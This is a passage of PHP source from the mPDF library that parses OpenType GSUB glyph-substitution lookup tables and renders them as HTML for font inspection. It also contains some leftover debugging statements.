$this->seek($Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['Offset']); $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleCount'] = $this->read_short(); for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleCount']; $g++) { $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleOffset'][$g] = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['Offset'] + $this->read_ushort(); } } for ($s = 0; $s < $SubRuleSetCount; $s++) { // SubRule Tables for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleCount']; $g++) { // Ligature tables $this->seek($Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleOffset'][$g]); $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['GlyphCount'] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['SubstCount'] = $this->read_ushort(); // "Input"::[GlyphCount - 1]::Array of input GlyphIDs-start with second glyph for ($l = 1; $l < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['GlyphCount']; $l++) { $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['Input'][$l] = $this->read_ushort(); } // "SubstLookupRecord"::[SubstCount]::Array of SubstLookupRecords-in design order for ($l = 0; $l < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['SubstCount']; $l++) { $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['SubstLookupRecord'][$l]['SequenceIndex'] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['SubstLookupRecord'][$l]['LookupListIndex'] = $this->read_ushort(); } } } } // Format 2: Class-based Context Glyph Substitution else { if ($SubstFormat == 2) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ClassDefOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubClassSetCnt'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['SubClassSetCnt']; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][] = 0; } else { $Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $offset; } } } else { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Lookup[$i]['Type'] . ", Format " . $SubstFormat . " not supported (ttfontsuni.php)."); } } } // LookupType 6: Chaining Contextual Substitution Subtable else { if ($Lookup[$i]['Type'] == 6) { // Format 1: Simple Chaining Context Glyph Substitution p255 if ($SubstFormat == 1) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetCount']; $b++) { $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetOffset'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); } } // Format 2: Class-based Chaining Context Glyph Substitution p257 else { if ($SubstFormat == 2) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['BacktrackClassDefOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['InputClassDefOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['LookaheadClassDefOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubClassSetCnt'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['ChainSubClassSetCnt']; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][] = $offset; } else { $Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $offset; } } } // Format 3: Coverage-based Chaining Context Glyph Substitution p259 else { if ($SubstFormat == 3) { $Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount']; $b++) { $Lookup[$i]['Subtable'][$c]['CoverageBacktrack'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['InputGlyphCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; $b++) { $Lookup[$i]['Subtable'][$c]['CoverageInput'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount']; $b++) { $Lookup[$i]['Subtable'][$c]['CoverageLookahead'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['SubstCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['SubstCount']; $b++) { $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['SequenceIndex'] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['LookupListIndex'] = $this->read_ushort(); /* Substitution Lookup Record All contextual substitution subtables specify the substitution data in a Substitution Lookup Record (SubstLookupRecord). Each record contains a SequenceIndex, which indicates the position where the substitution will occur in the glyph sequence. In addition, a LookupListIndex identifies the lookup to be applied at the glyph position specified by the SequenceIndex. */ } } } } } else { throw new \Mpdf\MpdfException("Lookup Type " . $Lookup[$i]['Type'] . " not supported."); } } } } } } } } //print_r($Lookup); exit; //===================================================================================== // Process (2) Whole LookupList // Get Coverage tables and prepare preg_replace for ($i = 0; $i < $LookupCount; $i++) { for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $SubstFormat = $Lookup[$i]['Subtable'][$c]['Format']; // LookupType 1: Single Substitution Subtable 1 => 1 if ($Lookup[$i]['Type'] == 1) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $glyphs = $this->_getCoverage(false); for ($g = 0; $g < count($glyphs); $g++) { $replace = []; $substitute = []; $replace[] = unicode_hex($this->glyphToChar[$glyphs[$g]][0]); // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $replace[0], $Lookup[$i]['MarkFilteringSet'])) { continue; } if (isset($Lookup[$i]['Subtable'][$c]['DeltaGlyphID'])) { // Format 1 $substitute[] = unicode_hex($this->glyphToChar[($glyphs[$g] + $Lookup[$i]['Subtable'][$c]['DeltaGlyphID'])][0]); } else { // Format 2 $substitute[] = unicode_hex($this->glyphToChar[($Lookup[$i]['Subtable'][$c]['Glyphs'][$g])][0]); } $Lookup[$i]['Subtable'][$c]['subs'][] = ['Replace' => $replace, 'substitute' => $substitute]; } } // LookupType 2: Multiple Substitution Subtable 1 => n else { if ($Lookup[$i]['Type'] == 2) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $glyphs = $this->_getCoverage(); for ($g = 0; $g < count($glyphs); $g++) { $replace = []; $substitute = []; $replace[] = $glyphs[$g]; // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $replace[0], $Lookup[$i]['MarkFilteringSet'])) { continue; } if (!isset($Lookup[$i]['Subtable'][$c]['Sequences'][$g]['SubstituteGlyphID']) || count($Lookup[$i]['Subtable'][$c]['Sequences'][$g]['SubstituteGlyphID']) == 0) { continue; } // Illegal for GlyphCount to be 0; either error in font, or something has gone wrong - lets carry on for now! foreach ($Lookup[$i]['Subtable'][$c]['Sequences'][$g]['SubstituteGlyphID'] as $sub) { $substitute[] = unicode_hex($this->glyphToChar[$sub][0]); } $Lookup[$i]['Subtable'][$c]['subs'][] = ['Replace' => $replace, 'substitute' => $substitute]; } } // LookupType 3: Alternate Forms 1 => 1 (only first alternate form is used) else { if ($Lookup[$i]['Type'] == 3) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $glyphs = $this->_getCoverage(); for ($g = 0; $g < count($glyphs); $g++) { $replace = []; $substitute = []; $replace[] = $glyphs[$g]; // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $replace[0], $Lookup[$i]['MarkFilteringSet'])) { continue; } for ($gl = 0; $gl < $Lookup[$i]['Subtable'][$c]['AlternateSets'][$g]['GlyphCount']; $gl++) { $gid = $Lookup[$i]['Subtable'][$c]['AlternateSets'][$g]['SubstituteGlyphID'][$gl]; $substitute[] = unicode_hex($this->glyphToChar[$gid][0]); } //$gid = $Lookup[$i]['Subtable'][$c]['AlternateSets'][$g]['SubstituteGlyphID'][0]; //$substitute[] = unicode_hex($this->glyphToChar[$gid][0]); $Lookup[$i]['Subtable'][$c]['subs'][] = ['Replace' => $replace, 'substitute' => $substitute]; } if ($i == 166) { print_r($Lookup[$i]['Subtable']); exit; } } // LookupType 4: Ligature Substitution Subtable n => 1 else { if ($Lookup[$i]['Type'] == 4) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $glyphs = $this->_getCoverage(); $LigSetCount = $Lookup[$i]['Subtable'][$c]['LigSetCount']; for ($s = 0; $s < $LigSetCount; $s++) { for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigCount']; $g++) { $replace = []; $substitute = []; $replace[] = $glyphs[$s]; // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $replace[0], $Lookup[$i]['MarkFilteringSet'])) { continue; } for ($l = 1; $l < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['CompCount']; $l++) { $gid = $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['GlyphID'][$l]; $rpl = unicode_hex($this->glyphToChar[$gid][0]); // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $rpl, $Lookup[$i]['MarkFilteringSet'])) { continue 2; } $replace[] = $rpl; } $gid = $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['LigGlyph']; $substitute[] = unicode_hex($this->glyphToChar[$gid][0]); $Lookup[$i]['Subtable'][$c]['subs'][] = ['Replace' => $replace, 'substitute' => $substitute, 'CompCount' => $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['CompCount']]; } } } // LookupType 5: Contextual Substitution Subtable else { if ($Lookup[$i]['Type'] == 5) { // Format 1: Context Substitution if ($SubstFormat == 1) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'] = $CoverageGlyphs = $this->_getCoverage(); for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['SubRuleSetCount']; $s++) { $SubRuleSet = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]; $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['FirstGlyph'] = $CoverageGlyphs[$s]; for ($r = 0; $r < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleCount']; $r++) { $GlyphCount = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$r]['GlyphCount']; for ($g = 1; $g < $GlyphCount; $g++) { $glyphID = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$r]['Input'][$g]; $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$r]['InputGlyphs'][$g] = unicode_hex($this->glyphToChar[$glyphID][0]); } } } } // Format 2: Class-based Context Glyph Substitution else { if ($SubstFormat == 2) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'] = $CoverageGlyphs = $this->_getCoverage(); $InputClasses = $this->_getClasses($Lookup[$i]['Subtable'][$c]['ClassDefOffset']); $Lookup[$i]['Subtable'][$c]['InputClasses'] = $InputClasses; for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['SubClassSetCnt']; $s++) { if ($Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][$s] > 0) { $this->seek($Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][$s]); $Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRuleCnt'] = $SubClassRuleCnt = $this->read_ushort(); $SubClassRule = []; for ($b = 0; $b < $SubClassRuleCnt; $b++) { $SubClassRule[$b] = $Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][$s] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRule'][$b] = $SubClassRule[$b]; } } } for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['SubClassSetCnt']; $s++) { $SubClassRuleCnt = $Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRuleCnt']; for ($b = 0; $b < $SubClassRuleCnt; $b++) { if ($Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][$s] > 0) { $this->seek($Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRule'][$b]); $Rule = []; $Rule['InputGlyphCount'] = $this->read_ushort(); $Rule['SubstCount'] = $this->read_ushort(); for ($r = 1; $r < $Rule['InputGlyphCount']; $r++) { $Rule['Input'][$r] = $this->read_ushort(); } for ($r = 0; $r < $Rule['SubstCount']; $r++) { $Rule['SequenceIndex'][$r] = $this->read_ushort(); $Rule['LookupListIndex'][$r] = $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRule'][$b] = $Rule; } } } } // Format 3: Coverage-based Context Glyph Substitution else { if ($SubstFormat == 3) { for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageInput'][$b]); $glyphs = $this->_getCoverage(); $Lookup[$i]['Subtable'][$c]['CoverageInputGlyphs'][] = implode("|", $glyphs); } throw new \Mpdf\MpdfException("Lookup Type 5, SubstFormat 3 not tested. Please report this with the name of font used - " . $this->fontkey); } } } } // LookupType 6: Chaining Contextual Substitution Subtable else { if ($Lookup[$i]['Type'] == 6) { // Format 1: Simple Chaining Context Glyph Substitution p255 if ($SubstFormat == 1) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'] = $CoverageGlyphs = $this->_getCoverage(); $ChainSubRuleSetCnt = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetCount']; for ($s = 0; $s < $ChainSubRuleSetCnt; $s++) { $this->seek($Lookup[$i]['Subtable'][$c]['ChainSubRuleSetOffset'][$s]); $ChainSubRuleCnt = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRuleCount'] = $this->read_ushort(); for ($r = 0; $r < $ChainSubRuleCnt; $r++) { $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRuleOffset'][$r] = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetOffset'][$s] + $this->read_ushort(); } } for ($s = 0; $s < $ChainSubRuleSetCnt; $s++) { $ChainSubRuleCnt = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRuleCount']; for ($r = 0; $r < $ChainSubRuleCnt; $r++) { // ChainSubRule $this->seek($Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRuleOffset'][$r]); $BacktrackGlyphCount = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['BacktrackGlyphCount'] = $this->read_ushort(); for ($g = 0; $g < $BacktrackGlyphCount; $g++) { $glyphID = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['BacktrackGlyphs'][$g] = unicode_hex($this->glyphToChar[$glyphID][0]); } $InputGlyphCount = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['InputGlyphCount'] = $this->read_ushort(); for ($g = 1; $g < $InputGlyphCount; $g++) { $glyphID = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['InputGlyphs'][$g] = unicode_hex($this->glyphToChar[$glyphID][0]); } $LookaheadGlyphCount = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['LookaheadGlyphCount'] = $this->read_ushort(); for ($g = 0; $g < $LookaheadGlyphCount; $g++) { $glyphID = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['LookaheadGlyphs'][$g] = unicode_hex($this->glyphToChar[$glyphID][0]); } $SubstCount = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['SubstCount'] = $this->read_ushort(); for ($lu = 0; $lu < $SubstCount; $lu++) { $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['SequenceIndex'][$lu] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['LookupListIndex'][$lu] = $this->read_ushort(); } } } } // Format 2: Class-based Chaining Context Glyph Substitution p257 else { if ($SubstFormat == 2) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'] = $CoverageGlyphs = $this->_getCoverage(); $BacktrackClasses = $this->_getClasses($Lookup[$i]['Subtable'][$c]['BacktrackClassDefOffset']); $Lookup[$i]['Subtable'][$c]['BacktrackClasses'] = $BacktrackClasses; $InputClasses = $this->_getClasses($Lookup[$i]['Subtable'][$c]['InputClassDefOffset']); $Lookup[$i]['Subtable'][$c]['InputClasses'] = $InputClasses; $LookaheadClasses = $this->_getClasses($Lookup[$i]['Subtable'][$c]['LookaheadClassDefOffset']); $Lookup[$i]['Subtable'][$c]['LookaheadClasses'] = $LookaheadClasses; for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['ChainSubClassSetCnt']; $s++) { if ($Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][$s] > 0) { $this->seek($Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][$s]); $Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRuleCnt'] = $ChainSubClassRuleCnt = $this->read_ushort(); $ChainSubClassRule = []; for ($b = 0; $b < $ChainSubClassRuleCnt; $b++) { $ChainSubClassRule[$b] = $Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][$s] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRule'][$b] = $ChainSubClassRule[$b]; } } } for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['ChainSubClassSetCnt']; $s++) { $ChainSubClassRuleCnt = $Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRuleCnt']; for ($b = 0; $b < $ChainSubClassRuleCnt; $b++) { if ($Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][$s] > 0) { $this->seek($Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRule'][$b]); $Rule = []; $Rule['BacktrackGlyphCount'] = $this->read_ushort(); for ($r = 0; $r < $Rule['BacktrackGlyphCount']; $r++) { $Rule['Backtrack'][$r] = $this->read_ushort(); } $Rule['InputGlyphCount'] = $this->read_ushort(); for ($r = 1; $r < $Rule['InputGlyphCount']; $r++) { $Rule['Input'][$r] = $this->read_ushort(); } $Rule['LookaheadGlyphCount'] = $this->read_ushort(); for ($r = 0; $r < $Rule['LookaheadGlyphCount']; $r++) { $Rule['Lookahead'][$r] = $this->read_ushort(); } $Rule['SubstCount'] = $this->read_ushort(); for ($r = 0; $r < $Rule['SubstCount']; $r++) { $Rule['SequenceIndex'][$r] = $this->read_ushort(); $Rule['LookupListIndex'][$r] = $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRule'][$b] = $Rule; } } } } // Format 3: Coverage-based Chaining Context Glyph Substitution p259 else { if ($SubstFormat == 3) { for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount']; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageBacktrack'][$b]); $glyphs = $this->_getCoverage(); $Lookup[$i]['Subtable'][$c]['CoverageBacktrackGlyphs'][] = implode("|", $glyphs); } for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageInput'][$b]); $glyphs = $this->_getCoverage(); $Lookup[$i]['Subtable'][$c]['CoverageInputGlyphs'][] = implode("|", $glyphs); // Don't use above value as these are ordered numerically not as need to process } for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount']; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageLookahead'][$b]); $glyphs = $this->_getCoverage(); $Lookup[$i]['Subtable'][$c]['CoverageLookaheadGlyphs'][] = implode("|", $glyphs); } } } } } } } } } } } } //===================================================================================== //===================================================================================== //===================================================================================== $st = $this->mpdf->OTLscript; $t = $this->mpdf->OTLlang; $langsys = $gsub[$st][$t]; $lul = []; // array of LookupListIndexes $tags = []; // corresponding array of feature tags e.g. 'ccmp' foreach ($langsys as $tag => $ft) { foreach ($ft as $ll) { $lul[$ll] = $tag; } } ksort($lul); // Order the Lookups in the order they are in the GUSB table, regardless of Feature order $this->_getGSUBarray($Lookup, $lul, $st); //print_r($lul); exit; } //print_r($Lookup); exit; return [$GSUBScriptLang, $gsub, $GSLookup, $rtlPUAstr, $rtlPUAarr]; } ///////////////////////////////////////////////////////////////////////////////////////// // GSUB functions function _getGSUBarray(&$Lookup, &$lul, $scripttag, $level = 1, $coverage = '', $exB = '', $exL = '') { // Process (3) LookupList for specific Script-LangSys // Generate preg_replace $html = ''; if ($level == 1) { $html .= '<bookmark level="0" content="GSUB features">'; } foreach ($lul as $i => $tag) { $html .= '<div class="level' . $level . '">'; $html .= '<h5 class="level' . $level . '">'; if ($level == 1) { $html .= '<bookmark level="1" content="' . $tag . ' [#' . $i . ']">'; } $html .= 'Lookup #' . $i . ' [tag: <span style="color:#000066;">' . $tag . '</span>]</h5>'; $ignore = $this->_getGSUBignoreString($Lookup[$i]['Flag'], $Lookup[$i]['MarkFilteringSet']); if ($ignore) { $html .= '<div class="ignore">Ignoring: ' . $ignore . '</div> '; } $Type = $Lookup[$i]['Type']; $Flag = $Lookup[$i]['Flag']; if (($Flag & 0x0001) == 1) { $dir = 'RTL'; } else { $dir = 'LTR'; } for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $html .= '<div class="subtable">Subtable #' . $c; if ($level == 1) { $html .= '<bookmark level="2" content="Subtable #' . $c . '">'; } $html .= '</div>'; $SubstFormat = $Lookup[$i]['Subtable'][$c]['Format']; // LookupType 1: Single Substitution Subtable if ($Lookup[$i]['Type'] == 1) { $html .= '<div class="lookuptype">LookupType 1: Single Substitution Subtable</div>'; for ($s = 0; $s < count($Lookup[$i]['Subtable'][$c]['subs']); $s++) { $inputGlyphs = $Lookup[$i]['Subtable'][$c]['subs'][$s]['Replace']; $substitute = $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute'][0]; if ($level == 2 && strpos($coverage, $inputGlyphs[0]) === false) { continue; } $html .= '<div class="substitution">'; $html .= '<span class="unicode">' . $this->formatUni($inputGlyphs[0]) . ' </span> '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="unchanged"> ' . $this->formatEntity($inputGlyphs[0]) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  » »  '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="changed"> ' . $this->formatEntity($substitute) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  <span class="unicode">' . $this->formatUni($substitute) . '</span> '; $html .= '</div>'; } } // LookupType 2: Multiple Substitution Subtable else { if ($Lookup[$i]['Type'] == 2) { $html .= '<div class="lookuptype">LookupType 2: Multiple Substitution Subtable</div>'; for ($s = 0; $s < count($Lookup[$i]['Subtable'][$c]['subs']); $s++) { $inputGlyphs = $Lookup[$i]['Subtable'][$c]['subs'][$s]['Replace']; $substitute = $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute']; if ($level == 2 && strpos($coverage, $inputGlyphs[0]) === false) { continue; } $html .= '<div class="substitution">'; $html .= '<span class="unicode">' . $this->formatUni($inputGlyphs[0]) . ' </span> '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="unchanged"> ' . $this->formatEntity($inputGlyphs[0]) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  » »  '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="changed"> ' . $this->formatEntityArr($substitute) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  <span class="unicode">' . $this->formatUniArr($substitute) . '</span> '; $html .= '</div>'; } } // LookupType 3: Alternate Forms else { if ($Lookup[$i]['Type'] == 3) { $html .= '<div class="lookuptype">LookupType 3: Alternate Forms</div>'; for ($s = 0; $s < count($Lookup[$i]['Subtable'][$c]['subs']); $s++) { $inputGlyphs = $Lookup[$i]['Subtable'][$c]['subs'][$s]['Replace']; $substitute = $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute'][0]; if ($level == 2 && strpos($coverage, $inputGlyphs[0]) === false) { continue; } $html .= '<div class="substitution">'; $html .= '<span class="unicode">' . $this->formatUni($inputGlyphs[0]) . ' </span> '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="unchanged"> ' . $this->formatEntity($inputGlyphs[0]) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  » »  '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="changed"> ' . $this->formatEntity($substitute) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  <span class="unicode">' . $this->formatUni($substitute) . '</span> '; if (count($Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute']) > 1) { for ($alt = 1; $alt < count($Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute']); $alt++) { $substitute = $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute'][$alt]; $html .= '  |   ALT #' . $alt . '   '; $html .= '<span class="changed"> ' . $this->formatEntity($substitute) . '</span>'; $html .= '  <span class="unicode">' . $this->formatUni($substitute) . '</span> '; } } $html .= '</div>'; } } // LookupType 4: Ligature Substitution Subtable else { if ($Lookup[$i]['Type'] == 4) { $html .= '<div class="lookuptype">LookupType 4: Ligature Substitution Subtable</div>'; for ($s = 0; $s < count($Lookup[$i]['Subtable'][$c]['subs']); $s++) { $inputGlyphs = $Lookup[$i]['Subtable'][$c]['subs'][$s]['Replace']; $substitute = $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute'][0]; if ($level == 2 && strpos($coverage, $inputGlyphs[0]) === false) { continue; } $html .= '<div class="substitution">'; $html .= '<span class="unicode">' . $this->formatUniArr($inputGlyphs) . ' </span> '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="unchanged"> ' . $this->formatEntityArr($inputGlyphs) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  » »  '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="changed"> ' . $this->formatEntity($substitute) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  <span class="unicode">' . $this->formatUni($substitute) . '</span> '; $html .= '</div>'; } } // LookupType 5: Contextual Substitution Subtable else { if ($Lookup[$i]['Type'] == 5) { $html .= '<div class="lookuptype">LookupType 5: Contextual Substitution Subtable</div>'; // Format 1: Context Substitution if ($SubstFormat == 1) { $html .= '<div class="lookuptypesub">Format 1: Context Substitution</div>'; for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['SubRuleSetCount']; $s++) { // SubRuleSet $subRule = []; $html .= '<div class="rule">Subrule Set: ' . $s . '</div>'; foreach ($Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'] as $rctr => $rule) { // SubRule $html .= '<div class="rule">SubRule: ' . $rctr . '</div>'; $inputGlyphs = []; if ($rule['GlyphCount'] > 1) { $inputGlyphs = $rule['InputGlyphs']; } $inputGlyphs[0] = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['FirstGlyph']; ksort($inputGlyphs); $nInput = count($inputGlyphs); $exampleI = []; $html .= '<div class="context">CONTEXT: '; for ($ff = 0; $ff < count($inputGlyphs); $ff++) { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> ' . $this->formatEntityStr($inputGlyphs[$ff]) . ' </span></div>'; $exampleI[] = $this->formatEntityFirst($inputGlyphs[$ff]); } $html .= '</div>'; for ($b = 0; $b < $rule['SubstCount']; $b++) { $lup = 